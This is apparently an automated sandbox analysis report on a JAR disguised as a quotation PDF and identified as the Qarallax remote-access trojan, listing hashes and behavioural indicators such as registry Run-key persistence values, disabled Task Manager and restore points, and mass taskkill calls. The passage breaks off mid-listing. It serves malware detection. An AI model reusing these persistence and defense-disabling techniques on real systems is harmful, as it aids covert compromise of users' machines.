Analysis
-
max time kernel
146s -
max time network
97s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
19-08-2020 07:24
Static task
static1
Behavioral task
behavioral1
Sample
Techno Group Pakistan Request For Quotation_pdf.jar
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Techno Group Pakistan Request For Quotation_pdf.jar
Resource
win10
windows10_x64
0 signatures
0 seconds
General
-
Target
Techno Group Pakistan Request For Quotation_pdf.jar
-
Size
411KB
-
MD5
ecd47ff15da71165a3462b367ec4d4b1
-
SHA1
43e309930fd7357c9f9e49fb84cae72f62f9c618
-
SHA256
317635d2a76079e6d1b3ac14352d5d79d221d024dce158dfbf319287f34eef67
-
SHA512
bb78d871eb67c6190771eeb9862c0f87d8a47924aa6bd4cca86c4d28ad1c0615117e7a8dbf944bf0fbc3db35d43b93af5917d335822f318bddcdcd3078e93287
Score
10/10
Malware Config
Signatures
-
Qarallax RAT support DLL 1 IoCs
resource yara_rule behavioral1/files/0x0003000000013554-7.dat qarallax_dll -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Sets file execution options in registry 2 TTPs
-
Loads dropped DLL 1 IoCs
pid Process 844 java.exe -
Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce java.exe Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\HfdZkYR = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\ujTBR\\NXtxm.class\"" java.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run java.exe Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\HfdZkYR = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\ujTBR\\NXtxm.class\"" java.exe -
Drops desktop.ini file(s) 4 IoCs
description ioc Process File opened for modification C:\Users\Admin\ujTBR\Desktop.ini java.exe File created C:\Users\Admin\ujTBR\Desktop.ini java.exe File opened for modification C:\Users\Admin\ujTBR\Desktop.ini attrib.exe File opened for modification C:\Users\Admin\ujTBR\Desktop.ini attrib.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\System32\EftaL java.exe File opened for modification C:\Windows\System32\EftaL java.exe -
Kills process with taskkill 19 IoCs
pid Process 1680 taskkill.exe 2396 taskkill.exe 2064 taskkill.exe 1424 taskkill.exe 1668 taskkill.exe 1460 taskkill.exe 2272 taskkill.exe 2676 taskkill.exe 2952 taskkill.exe 2484 taskkill.exe 1576 taskkill.exe 1604 taskkill.exe 2524 taskkill.exe 2208 taskkill.exe 2656 taskkill.exe 2276 taskkill.exe 2124 taskkill.exe 1572 taskkill.exe 2052 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2040 powershell.exe 2040 powershell.exe -
Suspicious use of AdjustPrivilegeToken 140 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1424 WMIC.exe Token: SeSecurityPrivilege 1424 WMIC.exe Token: SeTakeOwnershipPrivilege 1424 WMIC.exe Token: SeLoadDriverPrivilege 1424 WMIC.exe Token: SeSystemProfilePrivilege 1424 WMIC.exe Token: SeSystemtimePrivilege 1424 WMIC.exe Token: SeProfSingleProcessPrivilege 1424 WMIC.exe Token: SeIncBasePriorityPrivilege 1424 WMIC.exe Token: SeCreatePagefilePrivilege 1424 WMIC.exe Token: SeBackupPrivilege 1424 WMIC.exe Token: SeRestorePrivilege 1424 WMIC.exe Token: SeShutdownPrivilege 1424 WMIC.exe Token: SeDebugPrivilege 1424 WMIC.exe Token: SeSystemEnvironmentPrivilege 1424 WMIC.exe Token: SeRemoteShutdownPrivilege 1424 WMIC.exe Token: SeUndockPrivilege 1424 WMIC.exe Token: SeManageVolumePrivilege 1424 WMIC.exe Token: 33 1424 WMIC.exe Token: 34 1424 WMIC.exe Token: 35 1424 WMIC.exe Token: SeIncreaseQuotaPrivilege 1424 WMIC.exe Token: SeSecurityPrivilege 1424 WMIC.exe Token: SeTakeOwnershipPrivilege 1424 WMIC.exe Token: SeLoadDriverPrivilege 1424 WMIC.exe Token: SeSystemProfilePrivilege 1424 WMIC.exe Token: SeSystemtimePrivilege 1424 WMIC.exe Token: SeProfSingleProcessPrivilege 1424 WMIC.exe Token: SeIncBasePriorityPrivilege 1424 WMIC.exe Token: SeCreatePagefilePrivilege 1424 WMIC.exe Token: SeBackupPrivilege 1424 WMIC.exe Token: SeRestorePrivilege 1424 WMIC.exe Token: SeShutdownPrivilege 1424 WMIC.exe Token: SeDebugPrivilege 1424 WMIC.exe Token: SeSystemEnvironmentPrivilege 1424 WMIC.exe Token: SeRemoteShutdownPrivilege 1424 WMIC.exe Token: SeUndockPrivilege 1424 WMIC.exe Token: SeManageVolumePrivilege 1424 WMIC.exe Token: 33 1424 WMIC.exe Token: 34 1424 WMIC.exe Token: 35 1424 WMIC.exe Token: SeIncreaseQuotaPrivilege 1892 WMIC.exe Token: SeSecurityPrivilege 1892 WMIC.exe Token: SeTakeOwnershipPrivilege 1892 WMIC.exe Token: SeLoadDriverPrivilege 1892 WMIC.exe Token: SeSystemProfilePrivilege 1892 WMIC.exe Token: SeSystemtimePrivilege 1892 WMIC.exe Token: SeProfSingleProcessPrivilege 1892 WMIC.exe Token: SeIncBasePriorityPrivilege 1892 WMIC.exe Token: SeCreatePagefilePrivilege 1892 WMIC.exe Token: SeBackupPrivilege 1892 WMIC.exe Token: SeRestorePrivilege 1892 WMIC.exe Token: SeShutdownPrivilege 1892 WMIC.exe Token: SeDebugPrivilege 1892 WMIC.exe Token: SeSystemEnvironmentPrivilege 1892 WMIC.exe Token: SeRemoteShutdownPrivilege 1892 WMIC.exe Token: SeUndockPrivilege 1892 WMIC.exe Token: SeManageVolumePrivilege 1892 WMIC.exe Token: 33 1892 WMIC.exe Token: 34 1892 WMIC.exe Token: 35 1892 WMIC.exe Token: SeIncreaseQuotaPrivilege 1892 WMIC.exe Token: SeSecurityPrivilege 1892 WMIC.exe Token: SeTakeOwnershipPrivilege 1892 WMIC.exe Token: SeLoadDriverPrivilege 1892 WMIC.exe Token: SeSystemProfilePrivilege 1892 WMIC.exe Token: SeSystemtimePrivilege 1892 WMIC.exe Token: SeProfSingleProcessPrivilege 1892 WMIC.exe Token: SeIncBasePriorityPrivilege 1892 WMIC.exe Token: SeCreatePagefilePrivilege 1892 WMIC.exe Token: SeBackupPrivilege 1892 WMIC.exe Token: SeRestorePrivilege 1892 WMIC.exe Token: SeShutdownPrivilege 1892 WMIC.exe Token: SeDebugPrivilege 1892 WMIC.exe Token: SeSystemEnvironmentPrivilege 1892 WMIC.exe Token: SeRemoteShutdownPrivilege 1892 WMIC.exe Token: SeUndockPrivilege 1892 WMIC.exe Token: SeManageVolumePrivilege 1892 WMIC.exe Token: 33 1892 WMIC.exe Token: 34 1892 WMIC.exe Token: 35 1892 WMIC.exe Token: SeDebugPrivilege 1460 taskkill.exe Token: SeDebugPrivilege 1424 taskkill.exe Token: SeDebugPrivilege 1576 taskkill.exe Token: SeIncreaseQuotaPrivilege 1516 WMIC.exe Token: SeSecurityPrivilege 1516 WMIC.exe Token: SeTakeOwnershipPrivilege 1516 WMIC.exe Token: SeLoadDriverPrivilege 1516 WMIC.exe Token: SeSystemProfilePrivilege 1516 WMIC.exe Token: SeSystemtimePrivilege 1516 WMIC.exe Token: SeProfSingleProcessPrivilege 1516 WMIC.exe Token: SeIncBasePriorityPrivilege 1516 WMIC.exe Token: SeCreatePagefilePrivilege 1516 WMIC.exe Token: SeBackupPrivilege 1516 WMIC.exe Token: SeRestorePrivilege 1516 WMIC.exe Token: SeShutdownPrivilege 1516 WMIC.exe Token: SeDebugPrivilege 1516 WMIC.exe Token: SeSystemEnvironmentPrivilege 1516 WMIC.exe Token: SeRemoteShutdownPrivilege 1516 WMIC.exe Token: SeUndockPrivilege 1516 WMIC.exe Token: SeManageVolumePrivilege 1516 WMIC.exe Token: 33 1516 WMIC.exe Token: 34 1516 WMIC.exe Token: 35 1516 WMIC.exe Token: SeDebugPrivilege 2040 powershell.exe Token: SeDebugPrivilege 1604 taskkill.exe Token: SeDebugPrivilege 1572 taskkill.exe Token: SeDebugPrivilege 1668 taskkill.exe Token: SeDebugPrivilege 1680 taskkill.exe Token: SeDebugPrivilege 2052 taskkill.exe Token: SeIncreaseQuotaPrivilege 1516 WMIC.exe Token: SeSecurityPrivilege 1516 WMIC.exe Token: SeTakeOwnershipPrivilege 1516 WMIC.exe Token: SeLoadDriverPrivilege 1516 WMIC.exe Token: SeSystemProfilePrivilege 1516 WMIC.exe Token: SeSystemtimePrivilege 1516 WMIC.exe Token: SeProfSingleProcessPrivilege 1516 WMIC.exe Token: SeIncBasePriorityPrivilege 1516 WMIC.exe Token: SeCreatePagefilePrivilege 1516 WMIC.exe Token: SeBackupPrivilege 1516 WMIC.exe Token: SeRestorePrivilege 1516 WMIC.exe Token: SeShutdownPrivilege 1516 WMIC.exe Token: SeDebugPrivilege 1516 WMIC.exe Token: SeSystemEnvironmentPrivilege 1516 WMIC.exe Token: SeRemoteShutdownPrivilege 1516 WMIC.exe Token: SeUndockPrivilege 1516 WMIC.exe Token: SeManageVolumePrivilege 1516 WMIC.exe Token: 33 1516 WMIC.exe Token: 34 1516 WMIC.exe Token: 35 1516 WMIC.exe Token: SeDebugPrivilege 2272 taskkill.exe Token: SeDebugPrivilege 2396 taskkill.exe Token: SeDebugPrivilege 2524 taskkill.exe Token: SeDebugPrivilege 2676 taskkill.exe Token: SeDebugPrivilege 2952 taskkill.exe Token: SeDebugPrivilege 2208 taskkill.exe Token: SeDebugPrivilege 2656 taskkill.exe Token: SeDebugPrivilege 2064 taskkill.exe Token: SeDebugPrivilege 2276 taskkill.exe Token: SeDebugPrivilege 2124 taskkill.exe Token: SeDebugPrivilege 2484 taskkill.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 844 java.exe -
Suspicious use of WriteProcessMemory 804 IoCs
description pid Process procid_target PID 844 wrote to memory of 1748 844 java.exe 25 PID 844 wrote to memory of 1748 844 java.exe 25 PID 844 wrote to memory of 1748 844 java.exe 25 PID 844 wrote to memory of 1768 844 java.exe 26 PID 844 wrote to memory of 1768 844 java.exe 26 PID 844 wrote to memory of 1768 844 java.exe 26 PID 1768 wrote to memory of 1424 1768 cmd.exe 27 PID 1768 wrote to memory of 1424 1768 cmd.exe 27 PID 1768 wrote to memory of 1424 1768 cmd.exe 27 PID 844 wrote to memory of 1880 844 java.exe 28 PID 844 wrote to memory of 1880 844 java.exe 28 PID 844 wrote to memory of 1880 844 java.exe 28 PID 1880 wrote to memory of 1892 1880 cmd.exe 29 PID 1880 wrote to memory of 1892 1880 cmd.exe 29 PID 1880 wrote to memory of 1892 1880 cmd.exe 29 PID 844 wrote to memory of 1900 844 java.exe 30 PID 844 wrote to memory of 1900 844 java.exe 30 PID 844 wrote to memory of 1900 844 java.exe 30 PID 844 wrote to memory of 268 844 java.exe 31 PID 844 wrote to memory of 268 844 java.exe 31 PID 844 wrote to memory of 268 844 java.exe 31 PID 844 wrote to memory of 1588 844 java.exe 34 PID 844 wrote to memory of 1588 844 java.exe 34 PID 844 wrote to memory of 1588 844 java.exe 34 PID 844 wrote to memory of 1640 844 java.exe 35 PID 844 wrote to memory of 1640 844 java.exe 35 PID 844 wrote to memory of 1640 844 java.exe 35 PID 844 wrote to memory of 1580 844 java.exe 36 PID 844 wrote to memory of 1580 844 java.exe 36 PID 844 wrote to memory of 1580 844 java.exe 36 PID 844 wrote to memory of 1564 844 java.exe 37 PID 844 wrote to memory of 1564 844 java.exe 37 PID 844 wrote to memory of 1564 844 java.exe 37 PID 844 wrote to memory of 1992 844 java.exe 38 PID 844 wrote to memory of 1992 844 java.exe 38 PID 844 wrote to memory of 1992 844 java.exe 38 PID 844 wrote to memory of 1988 844 java.exe 39 PID 844 wrote to memory of 1988 844 java.exe 39 PID 844 wrote to memory of 1988 844 java.exe 39 PID 844 wrote to memory of 2000 844 java.exe 40 PID 844 wrote to memory of 2000 844 java.exe 40 PID 844 wrote to memory of 2000 844 java.exe 40 PID 844 wrote to memory of 2040 844 java.exe 41 PID 844 wrote to memory of 2040 844 java.exe 41 PID 844 wrote to memory of 2040 844 java.exe 41 PID 844 wrote to memory of 1272 844 java.exe 43 PID 844 wrote to memory of 1272 844 java.exe 43 PID 844 wrote to memory of 1272 844 java.exe 43 PID 2000 wrote to memory of 1448 2000 cmd.exe 44 PID 2000 wrote to memory of 1448 2000 cmd.exe 44 PID 2000 wrote to memory of 1448 2000 cmd.exe 44 PID 844 wrote to memory of 1460 844 java.exe 45 PID 844 wrote to memory of 1460 844 java.exe 45 PID 844 wrote to memory of 1460 844 java.exe 45 PID 844 wrote to memory of 1404 844 java.exe 46 PID 844 wrote to memory of 1404 844 java.exe 46 PID 844 wrote to memory of 1404 844 java.exe 46 PID 844 wrote to memory of 1604 844 java.exe 48 PID 844 wrote to memory of 1604 844 java.exe 48 PID 844 wrote to memory of 1604 844 java.exe 48 PID 844 wrote to memory of 1496 844 java.exe 49 PID 844 wrote to memory of 1496 844 java.exe 49 PID 844 wrote to memory of 1496 844 java.exe 49 PID 844 wrote to memory of 1756 844 java.exe 52 PID 844 wrote to memory of 1756 844 java.exe 52 PID 844 wrote to memory of 1756 844 java.exe 52 PID 844 wrote to memory of 1860 844 java.exe 54 PID 844 wrote to memory of 1860 844 java.exe 54 PID 844 wrote to memory of 1860 844 java.exe 54 PID 844 wrote to memory of 1828 844 java.exe 55 PID 844 wrote to memory of 1828 844 java.exe 55 PID 844 wrote to memory of 1828 844 java.exe 55 PID 2000 wrote to memory of 984 2000 cmd.exe 58 PID 2000 wrote to memory of 984 2000 cmd.exe 58 PID 2000 wrote to memory of 984 2000 cmd.exe 58 PID 844 wrote to memory of 760 844 java.exe 59 PID 844 wrote to memory of 760 844 java.exe 59 PID 844 wrote to memory of 760 844 java.exe 59 PID 844 wrote to memory of 1504 844 java.exe 60 PID 844 wrote to memory of 1504 844 java.exe 60 PID 844 wrote to memory of 1504 844 java.exe 60 PID 844 wrote to memory of 1556 844 java.exe 63 PID 844 wrote to memory of 1556 844 java.exe 63 PID 844 wrote to memory of 1556 844 java.exe 63 PID 844 wrote to memory of 1576 844 java.exe 64 PID 844 wrote to memory of 1576 844 java.exe 64 PID 844 wrote to memory of 1576 844 java.exe 64 PID 760 wrote to memory of 1520 760 cmd.exe 65 PID 760 wrote to memory of 1520 760 cmd.exe 65 PID 760 wrote to memory of 1520 760 cmd.exe 65 PID 844 wrote to memory of 1320 844 java.exe 67 PID 844 wrote to memory of 1320 844 java.exe 67 PID 844 wrote to memory of 1320 844 java.exe 67 PID 844 wrote to memory of 1560 844 java.exe 69 PID 844 wrote to memory of 1560 844 java.exe 69 PID 844 wrote to memory of 1560 844 java.exe 69 PID 844 wrote to memory of 1112 844 java.exe 70 PID 844 wrote to memory of 1112 844 java.exe 70 PID 844 wrote to memory of 1112 844 java.exe 70 PID 844 wrote to memory of 1808 844 java.exe 72 PID 844 wrote to memory of 1808 844 java.exe 72 PID 844 wrote to memory of 1808 844 java.exe 72 PID 844 wrote to memory of 1596 844 java.exe 75 PID 844 wrote to memory of 1596 844 java.exe 75 PID 844 wrote to memory of 1596 844 java.exe 75 PID 760 wrote to memory of 1604 760 cmd.exe 77 PID 760 wrote to memory of 1604 760 cmd.exe 77 PID 760 wrote to memory of 1604 760 cmd.exe 77 PID 844 wrote to memory of 1268 844 java.exe 78 PID 844 wrote to memory of 1268 844 java.exe 78 PID 844 wrote to memory of 1268 844 java.exe 78 PID 844 wrote to memory of 1956 844 java.exe 80 PID 844 wrote to memory of 1956 844 java.exe 80 PID 844 wrote to memory of 1956 844 java.exe 80 PID 844 wrote to memory of 1588 844 java.exe 82 PID 844 wrote to memory of 1588 844 java.exe 82 PID 844 wrote to memory of 1588 844 java.exe 82 PID 844 wrote to memory of 1876 844 java.exe 85 PID 844 wrote to memory of 1876 844 java.exe 85 PID 844 wrote to memory of 1876 844 java.exe 85 PID 844 wrote to memory of 1820 844 java.exe 86 PID 844 wrote to memory of 1820 844 java.exe 86 PID 844 wrote to memory of 1820 844 java.exe 86 PID 844 wrote to memory of 1980 844 java.exe 89 PID 844 wrote to memory of 1980 844 java.exe 89 PID 844 wrote to memory of 1980 844 java.exe 89 PID 844 wrote to memory of 832 844 java.exe 90 PID 844 wrote to memory of 832 844 java.exe 90 PID 844 wrote to memory of 832 844 java.exe 90 PID 844 wrote to memory of 428 844 java.exe 92 PID 844 wrote to memory of 428 844 java.exe 92 PID 844 wrote to memory of 428 844 java.exe 92 PID 1980 wrote to memory of 740 1980 cmd.exe 94 PID 1980 wrote to memory of 740 1980 cmd.exe 94 PID 1980 wrote to memory of 740 1980 cmd.exe 94 PID 844 wrote to memory of 1492 844 java.exe 95 PID 844 wrote to memory of 1492 844 java.exe 95 PID 844 wrote to memory of 1492 844 java.exe 95 PID 844 wrote to memory of 1176 844 java.exe 97 PID 844 wrote to memory of 1176 844 java.exe 97 PID 844 wrote to memory of 1176 844 java.exe 97 PID 1980 wrote to memory of 1564 1980 cmd.exe 98 PID 1980 wrote to memory of 1564 1980 cmd.exe 98 PID 1980 wrote to memory of 1564 1980 cmd.exe 98 PID 844 wrote to memory of 1424 844 java.exe 99 PID 844 wrote to memory of 1424 844 java.exe 99 PID 844 wrote to memory of 1424 844 java.exe 99 PID 844 wrote to memory of 1244 844 java.exe 100 PID 844 wrote to memory of 1244 844 java.exe 100 PID 844 wrote to memory of 1244 844 java.exe 100 PID 844 wrote to memory of 1448 844 java.exe 104 PID 844 wrote to memory of 1448 844 java.exe 104 PID 844 wrote to memory of 1448 844 java.exe 104 PID 844 wrote to memory of 1748 844 java.exe 105 PID 844 wrote to memory of 1748 844 java.exe 105 PID 844 wrote to memory of 1748 844 java.exe 105 PID 1448 wrote to memory of 1560 1448 cmd.exe 106 PID 1448 wrote to memory of 1560 1448 cmd.exe 106 PID 1448 wrote to memory of 1560 1448 cmd.exe 106 PID 844 wrote to memory of 1504 844 java.exe 107 PID 844 wrote to memory of 1504 844 java.exe 107 PID 844 wrote to memory of 1504 844 java.exe 107 PID 1448 wrote to memory of 1828 1448 cmd.exe 109 PID 1448 wrote to memory of 1828 1448 cmd.exe 109 PID 1448 wrote to memory of 1828 1448 cmd.exe 109 PID 844 wrote to memory of 2024 844 java.exe 110 PID 844 wrote to memory of 2024 844 java.exe 110 PID 844 wrote to memory of 2024 844 java.exe 110 PID 844 wrote to memory of 1576 844 java.exe 112 PID 844 wrote to memory of 1576 844 java.exe 112 PID 844 wrote to memory of 1576 844 java.exe 112 PID 844 wrote to memory of 1556 844 java.exe 114 PID 844 wrote to memory of 1556 844 java.exe 114 PID 844 wrote to memory of 1556 844 java.exe 114 PID 844 wrote to memory of 1880 844 java.exe 115 PID 844 wrote to memory of 1880 844 java.exe 115 PID 844 wrote to memory of 1880 844 java.exe 115 PID 1880 wrote to memory of 1732 1880 cmd.exe 118 PID 1880 wrote to memory of 1732 1880 cmd.exe 118 PID 1880 wrote to memory of 1732 1880 cmd.exe 118 PID 844 wrote to memory of 528 844 java.exe 119 PID 844 wrote to memory of 528 844 java.exe 119 PID 844 wrote to memory of 528 844 java.exe 119 PID 1880 wrote to memory of 1400 1880 cmd.exe 120 PID 1880 wrote to memory of 1400 1880 cmd.exe 120 PID 1880 wrote to memory of 1400 1880 cmd.exe 120 PID 844 wrote to memory of 1604 844 java.exe 121 PID 844 wrote to memory of 1604 844 java.exe 121 PID 844 wrote to memory of 1604 844 java.exe 121 PID 844 wrote to memory of 272 844 java.exe 122 PID 844 wrote to memory of 272 844 java.exe 122 PID 844 wrote to memory of 272 844 java.exe 122 PID 528 wrote to memory of 1516 528 cmd.exe 123 PID 528 wrote to memory of 1516 528 cmd.exe 123 PID 528 wrote to memory of 1516 528 cmd.exe 123 PID 272 wrote to memory of 1616 272 cmd.exe 124 PID 272 wrote to memory of 1616 272 cmd.exe 124 PID 272 wrote to memory of 1616 272 cmd.exe 124 PID 272 wrote to memory of 1916 272 cmd.exe 126 PID 272 wrote to memory of 1916 272 cmd.exe 126 PID 272 wrote to memory of 1916 272 cmd.exe 126 PID 844 wrote to memory of 1492 844 java.exe 127 PID 844 wrote to memory of 1492 844 java.exe 127 PID 844 wrote to memory of 1492 844 java.exe 127 PID 1492 wrote to memory of 1852 1492 cmd.exe 129 PID 1492 wrote to memory of 1852 1492 cmd.exe 129 PID 1492 wrote to memory of 1852 1492 cmd.exe 129 PID 844 wrote to memory of 1572 844 java.exe 130 PID 844 wrote to memory of 1572 844 java.exe 130 PID 844 wrote to memory of 1572 844 java.exe 130 PID 1492 wrote to memory of 1428 1492 cmd.exe 132 PID 1492 wrote to memory of 1428 1492 cmd.exe 132 PID 1492 wrote to memory of 1428 1492 cmd.exe 132 PID 844 wrote to memory of 1504 844 java.exe 133 PID 844 wrote to memory of 1504 844 java.exe 133 PID 844 wrote to memory of 1504 844 java.exe 133 PID 1504 wrote to memory of 1556 1504 cmd.exe 134 PID 1504 wrote to memory of 1556 1504 cmd.exe 134 PID 1504 wrote to memory of 1556 1504 cmd.exe 134 PID 1504 wrote to memory of 428 1504 cmd.exe 135 PID 1504 wrote to memory of 428 1504 cmd.exe 135 PID 1504 wrote to memory of 428 1504 cmd.exe 135 PID 844 wrote to memory of 1668 844 java.exe 136 PID 844 wrote to memory of 1668 844 java.exe 136 PID 844 wrote to memory of 1668 844 java.exe 136 PID 844 wrote to memory of 1752 844 java.exe 137 PID 844 wrote to memory of 1752 844 java.exe 137 PID 844 wrote to memory of 1752 844 java.exe 137 PID 1752 wrote to memory of 1616 1752 cmd.exe 139 PID 1752 wrote to memory of 1616 1752 cmd.exe 139 PID 1752 wrote to memory of 1616 1752 cmd.exe 139 PID 1752 wrote to memory of 660 1752 cmd.exe 140 PID 1752 wrote to memory of 660 1752 cmd.exe 140 PID 1752 wrote to memory of 660 1752 cmd.exe 140 PID 844 wrote to memory of 1680 844 java.exe 141 PID 844 wrote to memory of 1680 844 java.exe 141 PID 844 wrote to memory of 1680 844 java.exe 141 PID 844 wrote to memory of 1892 844 java.exe 142 PID 844 wrote to memory of 1892 844 java.exe 142 PID 844 wrote to memory of 1892 844 java.exe 142 PID 1892 wrote to memory of 1520 1892 cmd.exe 144 PID 1892 wrote to memory of 1520 1892 cmd.exe 144 PID 1892 wrote to memory of 1520 1892 cmd.exe 144 PID 1892 wrote to memory of 1276 1892 cmd.exe 145 PID 1892 wrote to memory of 1276 1892 cmd.exe 145 PID 1892 wrote to memory of 1276 1892 cmd.exe 145 PID 844 wrote to memory of 1776 844 java.exe 146 PID 844 wrote to memory of 1776 844 java.exe 146 PID 844 wrote to memory of 1776 844 java.exe 146 PID 844 wrote to memory of 2052 844 java.exe 147 PID 844 wrote to memory of 2052 844 java.exe 147 PID 844 wrote to memory of 2052 844 java.exe 147 PID 1776 wrote to memory of 2064 1776 cmd.exe 148 PID 1776 wrote to memory of 2064 1776 cmd.exe 148 PID 1776 wrote to memory of 2064 1776 cmd.exe 148 PID 1776 wrote to memory of 2108 1776 cmd.exe 150 PID 1776 wrote to memory of 2108 1776 cmd.exe 150 PID 1776 wrote to memory of 2108 1776 cmd.exe 150 PID 844 wrote to memory of 2128 844 java.exe 151 PID 844 wrote to memory of 2128 844 java.exe 151 PID 844 wrote to memory of 2128 844 java.exe 151 PID 2128 wrote to memory of 2144 2128 cmd.exe 152 PID 2128 wrote to memory of 2144 2128 cmd.exe 152 PID 2128 wrote to memory of 2144 2128 cmd.exe 152 PID 2128 wrote to memory of 2156 2128 cmd.exe 153 PID 2128 wrote to memory of 2156 2128 cmd.exe 153 PID 2128 wrote to memory of 2156 2128 cmd.exe 153 PID 844 wrote to memory of 2168 844 java.exe 154 PID 844 wrote to memory of 2168 844 java.exe 154 PID 844 wrote to memory of 2168 844 java.exe 154 PID 2168 wrote to memory of 2180 2168 cmd.exe 155 PID 2168 wrote to memory of 2180 2168 cmd.exe 155 PID 2168 wrote to memory of 2180 2168 cmd.exe 155 PID 2168 wrote to memory of 2204 2168 cmd.exe 156 PID 2168 wrote to memory of 2204 2168 cmd.exe 156 PID 2168 wrote to memory of 2204 2168 cmd.exe 156 PID 844 wrote to memory of 2236 844 java.exe 157 PID 844 wrote to memory of 2236 844 java.exe 157 PID 844 wrote to memory of 2236 844 java.exe 157 PID 2236 wrote to memory of 2260 2236 cmd.exe 158 PID 2236 wrote to memory of 2260 2236 cmd.exe 158 PID 2236 wrote to memory of 2260 2236 cmd.exe 158 PID 844 wrote to memory of 2272 844 java.exe 159 PID 844 wrote to memory of 2272 844 java.exe 159 PID 844 wrote to memory of 2272 844 java.exe 159 PID 2236 wrote to memory of 2296 2236 cmd.exe 161 PID 2236 wrote to memory of 2296 2236 cmd.exe 161 PID 2236 wrote to memory of 2296 2236 cmd.exe 161 PID 844 wrote to memory of 2312 844 java.exe 162 PID 844 wrote to memory of 2312 844 java.exe 162 PID 844 wrote to memory of 2312 844 java.exe 162 PID 2312 wrote to memory of 2328 2312 cmd.exe 163 PID 2312 wrote to memory of 2328 2312 cmd.exe 163 PID 2312 wrote to memory of 2328 2312 cmd.exe 163 PID 2312 wrote to memory of 2344 2312 cmd.exe 164 PID 2312 wrote to memory of 2344 2312 cmd.exe 164 PID 2312 wrote to memory of 2344 2312 cmd.exe 164 PID 844 wrote to memory of 2356 844 java.exe 165 PID 844 wrote to memory of 2356 844 java.exe 165 PID 844 wrote to memory of 2356 844 java.exe 165 PID 2356 wrote to memory of 2384 2356 cmd.exe 166 PID 2356 wrote to memory of 2384 2356 cmd.exe 166 PID 2356 wrote to memory of 2384 2356 cmd.exe 166 PID 844 wrote to memory of 2396 844 java.exe 167 PID 844 wrote to memory of 2396 844 java.exe 167 PID 844 wrote to memory of 2396 844 java.exe 167 PID 2356 wrote to memory of 2432 2356 cmd.exe 169 PID 2356 wrote to memory of 2432 2356 cmd.exe 169 PID 2356 wrote to memory of 2432 2356 cmd.exe 169 PID 844 wrote to memory of 2468 844 java.exe 170 PID 844 wrote to memory of 2468 844 java.exe 170 PID 844 wrote to memory of 2468 844 java.exe 170 PID 2468 wrote to memory of 2480 2468 cmd.exe 171 PID 2468 wrote to memory of 2480 2468 cmd.exe 171 PID 2468 wrote to memory of 2480 2468 cmd.exe 171 PID 2468 wrote to memory of 2496 2468 cmd.exe 172 PID 2468 wrote to memory of 2496 2468 cmd.exe 172 PID 2468 wrote to memory of 2496 2468 cmd.exe 172 PID 844 wrote to memory of 2512 844 java.exe 173 PID 844 wrote to memory of 2512 844 java.exe 173 PID 844 wrote to memory of 2512 844 java.exe 173 PID 844 wrote to memory of 2524 844 java.exe 174 PID 844 wrote to memory of 2524 844 java.exe 174 PID 844 wrote to memory of 2524 844 java.exe 174 PID 2512 wrote to memory of 2560 2512 cmd.exe 176 PID 2512 wrote to memory of 2560 2512 cmd.exe 176 PID 2512 wrote to memory of 2560 2512 cmd.exe 176 PID 2512 wrote to memory of 2580 2512 cmd.exe 177 PID 2512 wrote to memory of 2580 2512 cmd.exe 177 PID 2512 wrote to memory of 2580 2512 cmd.exe 177 PID 844 wrote to memory of 2600 844 java.exe 178 PID 844 wrote to memory of 2600 844 java.exe 178 PID 844 wrote to memory of 2600 844 java.exe 178 PID 2600 wrote to memory of 2616 2600 cmd.exe 179 PID 2600 wrote to memory of 2616 2600 cmd.exe 179 PID 2600 wrote to memory of 2616 2600 cmd.exe 179 PID 2600 wrote to memory of 2640 2600 cmd.exe 180 PID 2600 wrote to memory of 2640 2600 cmd.exe 180 PID 2600 wrote to memory of 2640 2600 cmd.exe 180 PID 844 wrote to memory of 2664 844 java.exe 181 PID 844 wrote to memory of 2664 844 java.exe 181 PID 844 wrote to memory of 2664 844 java.exe 181 PID 844 wrote to memory of 2676 844 java.exe 182 PID 844 wrote to memory of 2676 844 java.exe 182 PID 844 wrote to memory of 2676 844 java.exe 182 PID 2664 wrote to memory of 2700 2664 cmd.exe 184 PID 2664 wrote to memory of 2700 2664 cmd.exe 184 PID 2664 wrote to memory of 2700 2664 cmd.exe 184 PID 2664 wrote to memory of 2716 2664 cmd.exe 185 PID 2664 wrote to memory of 2716 2664 cmd.exe 185 PID 2664 wrote to memory of 2716 2664 cmd.exe 185 PID 844 wrote to memory of 2744 844 java.exe 186 PID 844 wrote to memory of 2744 844 java.exe 186 PID 844 wrote to memory of 2744 844 java.exe 186 PID 2744 wrote to memory of 2768 2744 cmd.exe 187 PID 2744 wrote to memory of 2768 2744 cmd.exe 187 PID 2744 wrote to memory of 2768 2744 cmd.exe 187 PID 2744 wrote to memory of 2796 2744 cmd.exe 188 PID 2744 wrote to memory of 2796 2744 cmd.exe 188 PID 2744 wrote to memory of 2796 2744 cmd.exe 188 PID 844 wrote to memory of 2828 844 java.exe 189 PID 844 wrote to memory of 2828 844 java.exe 189 PID 844 wrote to memory of 2828 844 java.exe 189 PID 2828 wrote to memory of 2932 2828 cmd.exe 190 PID 2828 wrote to memory of 2932 2828 cmd.exe 190 PID 2828 wrote to memory of 2932 2828 cmd.exe 190 PID 844 wrote to memory of 2952 844 java.exe 191 PID 844 wrote to memory of 2952 844 java.exe 191 PID 844 wrote to memory of 2952 844 java.exe 191 PID 2828 wrote to memory of 3000 2828 cmd.exe 193 PID 2828 wrote to memory of 3000 2828 cmd.exe 193 PID 2828 wrote to memory of 3000 2828 